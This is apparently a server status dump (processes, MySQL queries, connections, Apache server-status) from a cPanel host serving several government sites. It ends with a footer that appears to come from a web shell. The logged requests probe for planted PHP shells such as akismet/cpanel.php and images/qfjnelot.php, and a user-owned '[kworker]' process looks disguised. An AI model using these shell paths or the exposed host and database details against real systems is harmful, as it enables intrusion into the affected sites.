root       2059  0.0  0.0  53340     4 ?        S    Nov22   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody    42660  0.1  0.8 277728 20280 ?        S    02:33   0:01  \_ /usr/sbin/httpd -k start
nobody    44894  0.1  0.8 277728 20068 ?        S    02:36   0:00  \_ /usr/sbin/httpd -k start
nobody    45469  0.1  0.8 277676 19988 ?        S    02:37   0:00  \_ /usr/sbin/httpd -k start
nobody    48022  0.1  0.8 277632 19768 ?        S    02:41   0:00  \_ /usr/sbin/httpd -k start
nobody    48208  0.1  0.8 277668 19556 ?        S    02:41   0:00  \_ /usr/sbin/httpd -k start
nobody    48487  0.1  0.8 277652 19764 ?        S    02:42   0:00  \_ /usr/sbin/httpd -k start
nobody    49121  0.1  0.8 277648 19588 ?        S    02:43   0:00  \_ /usr/sbin/httpd -k start
nobody    49315  0.1  0.7 277604 19356 ?        S    02:43   0:00  \_ /usr/sbin/httpd -k start
nobody    49354  0.1  0.8 277636 19568 ?        S    02:43   0:00  \_ /usr/sbin/httpd -k start
cloudw    53965  1.0  0.6 353712 15968 ?        S    02:48   0:00  |   \_ /opt/cpanel/ea-php72/root/usr/bin/php-cgi
nobody    49355  0.1  0.8 277908 19692 ?        S    02:43   0:00  \_ /usr/sbin/httpd -k start
nobody    49533  0.1  0.8 277620 19392 ?        S    02:43   0:00  \_ /usr/sbin/httpd -k start
nobody    50702  0.1  0.7 277496 18824 ?        S    02:44   0:00  \_ /usr/sbin/httpd -k start
nobody    51630  0.1  0.8 277712 19636 ?        S    02:44   0:00  \_ /usr/sbin/httpd -k start
nobody    52388  0.1  0.7 277928 19360 ?        S    02:45   0:00  \_ /usr/sbin/httpd -k start
nobody    52705  0.1  0.8 277784 19416 ?        S    02:45   0:00  \_ /usr/sbin/httpd -k start
nobody    52771  0.0  0.8 277904 19520 ?        S    02:45   0:00  \_ /usr/sbin/httpd -k start
nobody    52780  0.1  0.8 277920 19552 ?        S    02:45   0:00  \_ /usr/sbin/httpd -k start
nobody    52781  0.1  0.7 277552 19212 ?        S    02:45   0:00  \_ /usr/sbin/httpd -k start
nobody    53565  0.0  0.7 277784 18592 ?        S    02:47   0:00  \_ /usr/sbin/httpd -k start
oysipao+  47566  0.0  0.0   3148     8 ?        Ss   Nov22   0:00 [kworker]
oysipao+  47579  0.0  0.0   3152    72 ?        S    Nov22   0:01  \_ [kworker]
root      44973  0.0  0.3 181972  9228 ?        Ss   00:00   0:08 lfd - sleeping
## mysql stats
Uptime: 56696  Threads: 4  Questions: 5035123  Slow queries: 0  Opens: 11301  Flush tables: 1  Open tables: 2000  Queries per second avg: 88.809
*************************** 1. row ***************************
     Id: 77835
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: Sending data
   Info: SELECT `id` FROM `currency_rate` WHERE `day`='2025-11-23' LIMIT 1
*************************** 2. row ***************************
     Id: 77838
   User: healthoyostate78_oyohealth
   Host: localhost
     db: healthoyostate78_oyohealth
Command: Query
   Time: 0
  State: statistics
   Info: SELECT option_value FROM wpjt_options WHERE option_name = '__wpdm_gutenberg_editor' LIMIT 1
*************************** 3. row ***************************
     Id: 77842
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 4. row ***************************
     Id: 77849
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 114.119.132.104 TIME_WAIT
      1 114.119.159.20 TIME_WAIT
      1 148.113.130.31 TIME_WAIT
      1 148.113.130.3 TIME_WAIT
      1 172.213.21.159 TIME_WAIT
      1 173.199.190.172 TIME_WAIT
      1 173.199.190.175 TIME_WAIT
      1 192.178.4.103 TIME_WAIT
      1 193.32.249.162 TIME_WAIT
      1 ::1 TIME_WAIT
      1 52.242.231.163 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 114.119.155.44 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
      3 206.189.119.128 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Nov 12 2025 18:18:40
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Sunday, 23-Nov-2025 02:48:02 WAT
   Restart Time: Saturday, 22-Nov-2025 11:03:10 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 15 hours 44 minutes 51 seconds
   Server load: 0.97 0.83 0.66
   Total accesses: 266866 - Total Traffic: 6.3 GB - Total Duration: 141680655
   CPU Usage: u5.75 s5.83 cu3218.03 cs2509.16 - 10.1% CPU load
   4.71 requests/sec - 117.2 kB/second - 24.9 kB/request - 530.906 ms/request
   12 requests currently being processed, 0 workers gracefully restarting, 7 idle workers

__KWK_K_.__R_K.KWKWK.K..........................................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID      Acc     M CPU   SS    Req    Dur   Conn  Child  Slot      Client     Protocol            VHost                                  Request
   0-0  49533 0/96/14253  _ 1.79 0     343   7261540 0.0   3.81  347.49 192.178.4.99   http/1.1 team.cloudware.ng:443       GET /?l=687948865 HTTP/1.1
   1-0  49315 0/86/13952  _ 1.32 1     7     7537453 0.0   3.02  345.56 58.97.220.33   http/1.1 covid-19.oyostate.gov.ng:80 GET /wp-content/plugins/akismet/cpanel.php HTTP/1.1
   2-0  51630 2/68/13754  K 0.74 1     378   7396521 107.3 1.54  331.74 139.59.112.228 http/1.1 health.oyostate.gov.ng:443  GET /wp-includes/ID3/ HTTP/1.1
   3-0  45469 0/197/13229 W 2.78 0     0     6878850 0.0   8.95  327.90 192.178.4.96   http/1.1 team.cloudware.ng:443       GET /?l=1510515042 HTTP/1.1
   4-0  49121 1/104/13522 K 1.95 0     360   6864489 34.8  3.28  330.23 192.178.4.100  http/1.1 team.cloudware.ng:443       GET /?l=1717500057 HTTP/1.1
   5-0  48208 0/131/13879 _ 2.07 0     1013  7109430 0.0   5.14  361.08 58.97.220.33   http/1.1 health.oyostate.gov.ng:80   GET /wp-admin/wp-head.php HTTP/1.1
   6-0  52388 5/66/12820  K 0.70 0     351   6409711 159.1 1.36  322.44 192.178.4.101  http/1.1 team.cloudware.ng:443       GET /?l=111045164 HTTP/1.1
   7-0  52705 0/48/13262  _ 0.62 1     0     6736853 0.0   1.18  320.68 58.97.220.33   http/1.1 oysipa.oyostate.gov.ng:80   GET /images/qfjnelot.php HTTP/1.1
   8-0  -     0/0/12634   . 0.00 20    0     6372022 0.0   0.00  304.43 ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   9-0  52771 0/45/11745  _ 0.61 0     0     6152641 0.0   0.94  292.85 ::1            http/1.1 chs1.nescrow.com.ng:80      GET //whm-server-status HTTP/1.0
   10-0 52780 0/39/11690  _ 0.46 0     376   6064170 0.0   1.20  279.74 139.59.112.228 http/1.1 health.oyostate.gov.ng:443  GET /wp-content/uploads/bk/ HTTP/1.1
   11-0 52781 0/42/11881  R 0.41 2     267   6112523 0.0   1.05  295.26 58.97.220.33   http/1.1 covid19.oyostate.gov.ng:443
   12-0 53565 0/14/11789  _ 0.08 0     7     6143213 0.0   0.47  304.34 58.97.220.33   http/1.1 covid-19.oyostate.gov.ng:80 GET /wp-content/plugins/akismet/cpn.php HTTP/1.1
   13-0 50702 1/66/11382  K 1.33 3     410   5832403 36.4  2.66  273.45 192.178.4.97   http/1.1 team.cloudware.ng:443       GET /?l=3658270748 HTTP/1.1
   14-0 -     0/0/10256   . 0.00 147   0     5212344 0.0   0.00  243.77 ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   15-0 49354 2/80/8602   K 0.96 0     433   4345679 65.4  3.00  214.78 192.178.4.102  http/1.1 team.cloudware.ng:443       GET /?l=2241917715 HTTP/1.1
   16-0 48487 0/124/8710  W 2.22 0     0     4420352 0.0   6.66  207.01 58.97.220.33   http/1.1 health.oyostate.gov.ng:80   GET /wp-includes/SimplePie/about.php HTTP/1.1
   17-0 48022 4/122/8012  K 1.88 1     346   4085077 127.2 6.22  199.24 192.178.4.105  http/1.1 team.cloudware.ng:443       GET /?l=2760975107 HTTP/1.1
   18-0 49355 0/105/6944  W 0.91 0     0     3699389 0.0   3.67  165.51 ::1            http/1.1 chs1.nescrow.com.ng:80      GET //whm-server-status HTTP/1.0
   19-0 42660 3/309/7809  K 5.63 0     418   3838938 96.9  14.51 194.21 192.178.4.103  http/1.1 team.cloudware.ng:443       GET /?l=2646837145 HTTP/1.1
   20-0 -     0/0/5745    . 0.00 404   0     3141193 0.0   0.00  132.07 ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   21-0 44894 1/239/4476  K 2.53 1     371   2619788 35.2  9.83  108.58 192.178.4.104  http/1.1 team.cloudware.ng:443       GET /?l=1455653882 HTTP/1.1
   22-0 -     0/0/3221    . 0.00 607   0     1904649 0.0   0.00  85.04  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   23-0 -     0/0/2854    . 0.00 3526  0     1555805 0.0   0.00  58.97  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   24-0 -     0/0/1636    . 0.00 3135  0     1282876 0.0   0.00  39.63  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   25-0 -     0/0/2570    . 0.00 3631  0     1163271 0.0   0.00  57.91  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   26-0 -     0/0/1903    . 0.00 3144  0     1185213 0.0   0.00  47.42  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   27-0 -     0/0/1301    . 0.00 3593  0     843370  0.0   0.00  38.82  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   28-0 -     0/0/1528    . 0.00 3586  0     741140  0.0   0.00  34.17  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   29-0 -     0/0/1651    . 0.00 3127  0     952853  0.0   0.00  34.23  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   30-0 -     0/0/1294    . 0.00 4895  0     796559  0.0   0.00  30.37  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   31-0 -     0/0/535     . 0.00 4888  0     418251  0.0   0.00  9.62   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   32-0 -     0/0/521     . 0.00 4901  0     501649  0.0   0.00  10.47  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   33-0 -     0/0/226     . 0.00 4855  0     242996  0.0   0.00  4.32   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   34-0 -     0/0/723     . 0.00 4307  0     452012  0.0   0.00  11.57  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   35-0 -     0/0/645     . 0.00 4905  0     507090  0.0   0.00  14.62  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   36-0 -     0/0/89      . 0.00 4869  0     137985  0.0   0.00  0.74   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   37-0 -     0/0/222     . 0.00 4774  0     187355  0.0   0.00  4.82   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   38-0 -     0/0/661     . 0.00 4894  0     330279  0.0   0.00  12.67  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   39-0 -     0/0/582     . 0.00 4735  0     506531  0.0   0.00  13.50  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   40-0 -     0/0/227     . 0.00 4897  0     280411  0.0   0.00  4.37   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   41-0 -     0/0/416     . 0.00 4891  0     308037  0.0   0.00  9.50   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   42-0 -     0/0/144     . 0.00 4868  0     280413  0.0   0.00  1.55   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   43-0 -     0/0/290     . 0.00 4055  0     344154  0.0   0.00  5.96   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   44-0 -     0/0/292     . 0.00 4904  0     301816  0.0   0.00  6.10   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   45-0 -     0/0/198     . 0.00 4867  0     141072  0.0   0.00  1.57   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   46-0 -     0/0/60      . 0.00 13619 0     180509  0.0   0.00  0.80   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   47-0 -     0/0/67      . 0.00 13641 0     226531  0.0   0.00  1.33   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   48-0 -     0/0/203     . 0.00 13632 0     142085  0.0   0.00  4.09   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   49-0 -     0/0/284     . 0.00 13283 0     181603  0.0   0.00  4.73   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   50-0 -     0/0/82      . 0.00 13645 0     44788   0.0   0.00  1.22   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   51-0 -     0/0/8       . 0.00 13605 0     43835   0.0   0.00  0.13   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   52-0 -     0/0/9       . 0.00 13614 0     45747   0.0   0.00  0.13   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   53-0 -     0/0/29      . 0.00 13612 0     44492   0.0   0.00  0.32   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   54-0 -     0/0/536     . 0.00 11729 0     268842  0.0   0.00  11.18  ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   55-0 -     0/0/4       . 0.00 13649 0     23627   0.0   0.00  0.03   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   56-0 -     0/0/9       . 0.00 13608 0     47344   0.0   0.00  0.17   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   57-0 -     0/0/7       . 0.00 13610 0     44159   0.0   0.00  0.12   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   58-0 -     0/0/43      . 0.00 13651 11655 23366   0.0   0.00  0.07   45.94.58.4     http/1.1 cloudware.ng:80             GET /requirements.txt HTTP/1.1
   59-0 -     0/0/141     . 0.00 13012 0     113874  0.0   0.00  3.52   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   60-0 -     0/0/132     . 0.00 13642 0     76946   0.0   0.00  2.87   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   61-0 -     0/0/6       . 0.00 13640 0     3701    0.0   0.00  0.13   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   62-0 -     0/0/204     . 0.00 13199 0     97395   0.0   0.00  2.67   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   63-0 -     0/0/66      . 0.00 13624 0     27806   0.0   0.00  0.18   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   64-0 -     0/0/11      . 0.00 13617 0     25454   0.0   0.00  0.16   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   65-0 -     0/0/9       . 0.00 13637 0     28822   0.0   0.00  0.18   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   66-0 -     0/0/27      . 0.00 15163 0     28      0.0   0.00  0.03   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   67-0 -     0/0/42      . 0.00 15168 0     46      0.0   0.00  0.05   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   68-0 -     0/0/3       . 0.00 15206 0     1240    0.0   0.00  0.06   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   69-0 -     0/0/2       . 0.00 15205 0     703     0.0   0.00  0.03   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   70-0 -     0/0/5       . 0.00 15198 0     1790    0.0   0.00  0.10   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   71-0 -     0/0/47      . 0.00 15146 0     737     0.0   0.00  0.08   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   72-0 -     0/0/1       . 0.00 15217 0     0       0.0   0.00  0.00   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   73-0 -     0/0/458     . 0.00 13752 0     263682  0.0   0.00  8.36   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   74-0 -     0/0/9       . 0.00 15194 0     4803    0.0   0.00  0.22   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   75-0 -     0/0/1       . 0.00 15216 0     0       0.0   0.00  0.00   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   76-0 -     0/0/23      . 0.00 15158 0     2942    0.0   0.00  0.21   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   77-0 -     0/0/200     . 0.00 14514 0     87870   0.0   0.00  4.44   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
   78-0 -     0/0/63      . 0.00 15018 0     25484   0.0   0.00  1.24   ::1            http/1.1 chs1.nescrow.com.ng:80      OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 1100
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 6 seconds, (range: 0...24)
   index usage: 19%, cache usage: 26%
   total entries stored since starting: 188083
   total entries replaced since starting: 0
   total entries expired since starting: 186913
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 0 hit, 505 miss
   total removes since starting: 70 hit, 189 miss

Youez - 2016 - github.com/yon3zu
LinuXploit